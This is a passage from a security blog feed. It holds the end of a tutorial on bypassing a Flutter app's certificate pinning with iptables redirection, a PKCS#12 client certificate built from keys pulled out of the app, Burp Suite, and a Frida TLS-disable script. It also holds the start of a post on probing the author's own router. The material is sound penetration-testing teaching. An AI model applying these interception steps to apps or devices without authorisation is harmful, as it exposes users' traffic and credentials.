&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    createHttpClient&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; HttpClient&lt;&#x2F;span&gt;&lt;span&gt; client &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; HttpClient&lt;&#x2F;span&gt;&lt;span&gt;(context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; SecurityContext&lt;&#x2F;span&gt;&lt;span&gt;(withTrustedRoots&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      client.badCertificateCallback &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; (cert, host, port) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      return&lt;&#x2F;span&gt;&lt;span&gt; client;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    validateCertificate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; (cert, host, port) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      if&lt;&#x2F;span&gt;&lt;span&gt; (cert &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      return&lt;&#x2F;span&gt;&lt;span&gt; fingerprint &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt; sha256.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;convert&lt;&#x2F;span&gt;&lt;span&gt;(cert.der).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;toString&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  );&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As we can see above, we start by defining a variable called &lt;strong&gt;fingerprint&lt;&#x2F;strong&gt; that will contain the SHA256 hash of the public certificate key. After that, we create the HttpClient, ensuring that the SecurityContext is set with &lt;strong&gt;withTrustedRoots&lt;&#x2F;strong&gt; set to false so that we don&#x27;t trust any certificate just because its root cert is trusted. Furthermore, we check if the certificate fingerprint matches the SHA256 hash and ensure that at least one certificate is being supplied.&lt;&#x2F;p&gt;
&lt;p&gt;It works perfectly for servers that have a self-signed certificate, however, it will not work for external certificates issued by AWS, Let&#x27;s Encrypt, or other third parties. Therefore, we can verify the root of the HTTPS certificate that is provided by the server. The code below is an example of using a static PEM certificate and SecurityContext. It also supports PKCS#12 certificates, but PKCS#12 certificates require a password to be used, which exposes the password in the code; hence, the project does not recommend using them in common cases.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;dart&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; initAdapter&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;  String PEM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;XXXXX&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #88846F;&quot;&gt; &#x2F;&#x2F; Root certificate content&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  dio.httpClientAdapter &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; IOHttpClientAdapter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    onHttpClientCreate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; (_) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; SecurityContext&lt;&#x2F;span&gt;&lt;span&gt; sc &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; SecurityContext&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      sc.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setTrustedCertificates&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;File&lt;&#x2F;span&gt;&lt;span&gt;(pathToTheCertificate));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; HttpClient&lt;&#x2F;span&gt;&lt;span&gt; client &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; HttpClient&lt;&#x2F;span&gt;&lt;span&gt;(context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; sc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      return&lt;&#x2F;span&gt;&lt;span&gt; client;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  );&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The most interesting part is this line &lt;code&gt;sc.setTrustedCertificates(File(pathToTheCertificate));&lt;&#x2F;code&gt; This indicates that the app expects a static certificate file. After reading &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@melkia.med.taki&#x2F;how-to-use-tls-ssl-in-flutter-with-dio-15eda4f80baf&quot;&gt;this article by Mohamed Malkia&lt;&#x2F;a&gt;, I immediately searched the source code for &lt;strong&gt;.pem&lt;&#x2F;strong&gt; and &lt;strong&gt;.key&lt;&#x2F;strong&gt; extensions. And guess what? I found actual references to these files:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%209.png&quot; alt=&quot;Source code references to .pem and .key certificate files&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Going back to VSCode and using the search function, I typed &lt;code&gt;.pem&lt;&#x2F;code&gt; in the &quot;Search&quot; field and immediately got two references in the code, again in the &lt;code&gt;dio_http_service_imp.dart&lt;&#x2F;code&gt; file. Accessing these files we can get more details about the usage of the Dio package.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2010.png&quot; alt=&quot;VSCode search showing .pem references in dio_http_service_imp.dart&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2012.png&quot; alt=&quot;dio_http_service_imp.dart — certificate bytes implementation&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2013.png&quot; alt=&quot;SecurityContext useCertificateChainBytes and usePrivateKeyBytes&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The app reads the certificate bytes and implements them using Dart&#x27;s SecurityContext methods &lt;strong&gt;useCertificateChainBytes&lt;&#x2F;strong&gt; and &lt;strong&gt;usePrivateKeyBytes&lt;&#x2F;strong&gt;. According to the documentation:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;useCertificateChainBytes&lt;&#x2F;strong&gt;: Sets the chain of X.509 certificates served by the SecureServerSocket during secure connections, including the server certificate.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;usePrivateKeyBytes&lt;&#x2F;strong&gt;: Sets the private key for the corresponding certificate.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2014.png&quot; alt=&quot;Certificate implementation details in Flutter source&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Interestingly, the application doesn&#x27;t use standard ports like 443, 80, or 8080. Instead, the API is hosted on port &lt;strong&gt;444&lt;&#x2F;strong&gt;. This is crucial for properly configuring our proxy because if we try intercepting ports 443, 80, or 8080, we would probably only capture requests from third-party sources rather than those from the targeted application. Therefore, make sure to identify where the application is actually consuming data so that no important requests are missed.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2015.png&quot; alt=&quot;App using non-standard port 444 for API communication&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It is important to note that every Certificate Pinning mechanism can be bypassed if the attacker has the necessary time and patience. The main idea of these mechanisms is to offer more security to users, reducing risk and making attackers&#x27; lives harder, but it will always be a cat-and-mouse game until vendors like Google and Apple develop technology to mitigate this problem (and I&#x27;m not even sure if that&#x27;s possible).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;intercept-intercept-and-intercept&quot;&gt;Intercept, intercept and intercept&lt;&#x2F;h2&gt;
&lt;p&gt;After all this analysis, we&#x27;re ready to intercept the traffic. Here&#x27;s what we need to do:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Create IPTables rules to redirect the traffic.&lt;&#x2F;li&gt;
&lt;li&gt;Configure the proxy on our Android device (I&#x27;m using an emulated Pixel 9 Pro).&lt;&#x2F;li&gt;
&lt;li&gt;Set up Burp Suite.&lt;&#x2F;li&gt;
&lt;li&gt;Use the NVISO disable-flutter-tls script.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Starting with IPTables, IPTables is a utility program from Linux that helps users configure network rules. In our case, it&#x27;s a really simple process—we just need to redirect the incoming traffic from port 444 to port 8080, where our Burp Suite proxy is running. The command I used for this is:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;emu64a:&#x2F; iptables -t nat -A OUTPUT -p tcp --dport 444 -j DNAT --to-destination &amp;lt;local-ip&amp;gt;:8080&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;emu64a:&#x2F; iptables -t nat -A POSTROUTING -p tcp -d &amp;lt;local-ip&amp;gt; --dport 8080 -j MASQUERADE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After that, we need to go to our Wi-Fi settings on our Android device and change the proxy setting from &quot;None&quot; to &quot;Manual,&quot; specifying the host and port we want. In this case, the host will be your local IP and the port will be the same as the Burp Suite proxy. This will allow our emulated device to communicate with our Burp Suite proxy client.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2016.png&quot; alt=&quot;Android Wi-Fi proxy settings configured to Burp Suite&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, for Burp Suite, we need to take the PEM and KEY files that are statically stored in the assets directory from the decompiled mobile app and generate a PKCS#12 file to later import into Burp Suite TLS settings. Why PKCS#12? Because Burp Suite TLS currently only supports PEM certificates.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;openssl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; pkcs12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -export -out&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; file.p12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -inkey&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; key_file.key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; pem_file.pem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -certifile&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; pem_file.pem&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here, the flags &lt;code&gt;-export&lt;&#x2F;code&gt; and &lt;code&gt;-out&lt;&#x2F;code&gt; specify that we want to write the certificate&#x27;s content to an output file. The &lt;code&gt;-inkey&lt;&#x2F;code&gt; flag specifies the private key from the certificate, combined with the &lt;code&gt;-in&lt;&#x2F;code&gt; and &lt;code&gt;-certifile&lt;&#x2F;code&gt; flags to indicate to OpenSSL which files are our certificates—we can repeat the PEM certificate file here.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2017.png&quot; alt=&quot;OpenSSL generating PKCS#12 file from PEM and KEY&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, go to your Burp Suite settings, navigate to the Network tab, and click on the &quot;TLS&quot; section. Scroll down to &quot;Client TLS Certificates&quot; and click the &quot;Add&quot; button to add a new certificate.&lt;&#x2F;p&gt;
&lt;p&gt;In the &quot;Destination host&quot; input, enter the host address from the API or website whose traffic you want to intercept (you don&#x27;t need to specify the port), and be sure to click the &quot;File (PKCS#12)&quot; radio button because you need to import your PKCS#12 file. After that, click the &quot;Next&quot; button.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2018.png&quot; alt=&quot;Burp Suite TLS settings — adding a new client certificate&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Next, click the &quot;Select file&quot; button and locate the .p12 file you generated using the OpenSSL command. During the process of generating the file with OpenSSL, you will be prompted to set a password; you must enter the same password in the &quot;Password&quot; field below the &quot;Certificate file&quot; field.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2019.png&quot; alt=&quot;Burp Suite — selecting the .p12 file and entering password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If everything goes well, your file will be loaded and you can even see some information about the imported certificate.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2020.png&quot; alt=&quot;Burp Suite — certificate loaded successfully&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now for the final steps with Burp Suite, go to the Proxy settings and make sure the &quot;Bind to port&quot; is the same from the IPTables and change the &quot;Bind to address&quot; from &quot;Specific address&quot; to &quot;All interfaces&quot; making sure we actually can intercept the traffic. After that, go to the &quot;Request handling&quot; tab and check the &quot;Support invisible proxying&quot; checkbox.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2021.png&quot; alt=&quot;Burp Suite proxy bind settings — All interfaces&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2022.png&quot; alt=&quot;Burp Suite — Support invisible proxying enabled&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To finish, download the NVISOsecurity Frida script to disable Flutter&#x27;s TLS verification, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;NVISOsecurity&#x2F;disable-flutter-tls-verification&quot;&gt;you can find it here&lt;&#x2F;a&gt;. This script uses pattern matching to find &lt;strong&gt;ssl_verify_peer_cert&lt;&#x2F;strong&gt; in the &lt;strong&gt;handshake.cc&lt;&#x2F;strong&gt; file. The &lt;strong&gt;handshake.cc&lt;&#x2F;strong&gt; file is part of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;google&#x2F;boringssl&#x2F;&quot;&gt;BoringSSL project&lt;&#x2F;a&gt;, a fork of OpenSSL used by Chrome&#x2F;Chromium and Android. To execute the script, ensure that the Frida server is running on your Android device (it can be done via ADB) and run the following command:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;frida&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -U -f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; your.package.name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; -l&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; disable-flutter-tls.js&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; --no-pause&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Don&#x27;t forget that you need to have the Burp Suite certificate installed on your device. There are various methods to do this, so I won&#x27;t cover that process here; however, you can find plenty of resources online that explain how to do it.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2023.png&quot; alt=&quot;Frida running the disable-flutter-tls script&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Frida will run the app for us, so we go to Burp Suite and &quot;HTTP History&quot; tab we can see that now we can successfully intercept the app HTTP&#x2F;HTTPS traffic.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%2024.png&quot; alt=&quot;Burp Suite HTTP History showing intercepted Flutter app traffic&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.flutter.dev&#x2F;&quot;&gt;docs.flutter.dev&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dart.dev&#x2F;overview&quot;&gt;dart.dev — Overview&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;onuoha.medium.com&#x2F;how-does-jit-and-aot-work-in-dart-cab2f31d9cb5&quot;&gt;medium.com — How JIT and AOT work in Dart&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;worawit&#x2F;blutter&quot;&gt;github.com&#x2F;worawit&#x2F;blutter&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;wiki.mozilla.org&#x2F;SecurityEngineering&#x2F;Public_Key_Pinning&quot;&gt;wiki.mozilla.org — Public Key Pinning&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;oleksandr-stepanov.medium.com&#x2F;ssl-pinning-how-to-make-it-right-ecc5c9844215&quot;&gt;medium.com — SSL Pinning: How to Make It Right&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;owasp.org&#x2F;www-community&#x2F;controls&#x2F;Certificate_and_Public_Key_Pinning&quot;&gt;owasp.org — Certificate and Public Key Pinning&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@melkia.med.taki&#x2F;how-to-use-tls-ssl-in-flutter-with-dio-15eda4f80baf&quot;&gt;medium.com — How to use TLS&#x2F;SSL in Flutter with Dio&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;api.flutter.dev&#x2F;flutter&#x2F;dart-io&#x2F;SecurityContext&#x2F;usePrivateKeyBytes.html&quot;&gt;api.flutter.dev — usePrivateKeyBytes&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;api.flutter.dev&#x2F;flutter&#x2F;dart-io&#x2F;SecurityContext&#x2F;useCertificateChainBytes.html&quot;&gt;api.flutter.dev — useCertificateChainBytes&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;NVISOsecurity&#x2F;disable-flutter-tls-verification&quot;&gt;github.com&#x2F;NVISOsecurity&#x2F;disable-flutter-tls-verification&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Discovering an Authenticated RCE Vulnerability in My Old Router</title>
        <published>2025-01-10T00:00:00+00:00</published>
        <updated>2025-01-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://larper.me/blog/rce-in-my-router/"/>
        <id>https://larper.me/blog/rce-in-my-router/</id>
        
        <content type="html" xml:base="https://larper.me/blog/rce-in-my-router/">&lt;p&gt;Everything started when I watched a talk by &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=4_UI9zBLJp0&quot;&gt;Maycon Vitali at H2HC titled &quot;Internet of Sh!t - Maycon Vitali - H2HC University 2018&quot;&lt;&#x2F;a&gt;, where he discussed his process of discovering vulnerabilities in a Ubiquiti router. After watching the 30-minute talk, I stopped the video, looked around, and remembered an old router that I had in my house. I immediately searched for the power cable, plugged it in next to my desk, and checked if everything worked fine. After about 5 minutes, I scanned my network and found the router&#x27;s IP address. I made some changes and set the IP to &lt;code&gt;192.168.15.1&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;With everything set up, I ran &lt;code&gt;nmap -p- -open -vvvvv --min-rate=5000 -T3 -Pn&lt;&#x2F;code&gt; to check the available ports and running services.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p-&lt;&#x2F;code&gt;: Scan all 65,535 TCP ports;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-v&#x2F;-vvvvv&lt;&#x2F;code&gt;: Enable verbose mode;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--open&lt;&#x2F;code&gt;: Only show open (or possible open) ports;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--min-rate&lt;&#x2F;code&gt;: Send packets no slower than X per second;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;&#x2F;code&gt;: No ping. Skips the host discovery stage altogether.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image.png&quot; alt=&quot;Nmap scan results showing open ports on the router&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;When I saw the SSH port, I looked behind the router for any credentials and, fortunately, it had them. I tried logging in with the &quot;admin&quot; username, but it didn&#x27;t work, so I searched for some documentation and discovered the correct username was &quot;support.&quot;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%201.png&quot; alt=&quot;SSH login with support credentials showing restricted shell&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As shown in the image above, we couldn&#x27;t execute commands or interact with the operating system beyond the initial shell. The goal at this moment was to figure out how to execute commands, as I had no prior experience with hardware hacking and didn&#x27;t want to attempt extracting the firmware without understanding how to do it. After a bit of research, I discovered that you could pass a direct command after the SSH command to escape the &quot;dumb shell&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%202.png&quot; alt=&quot;Escaping the restricted shell by passing commands directly via SSH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Using the &lt;code&gt;netstat -lpntu&lt;&#x2F;code&gt; command, I checked all running services ports. The idea here is to find some binary or service we can exploit to discover a vulnerability, but we don&#x27;t investigate it too deeply and move on to other enumerations.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-l&lt;&#x2F;code&gt;: Displays only listening sockets;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;&#x2F;code&gt;: Displays the process ID (PID) and the program name;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;&#x2F;code&gt;: Display addresses and port numbers in their numerical format;&lt;&#x2F;li&gt;
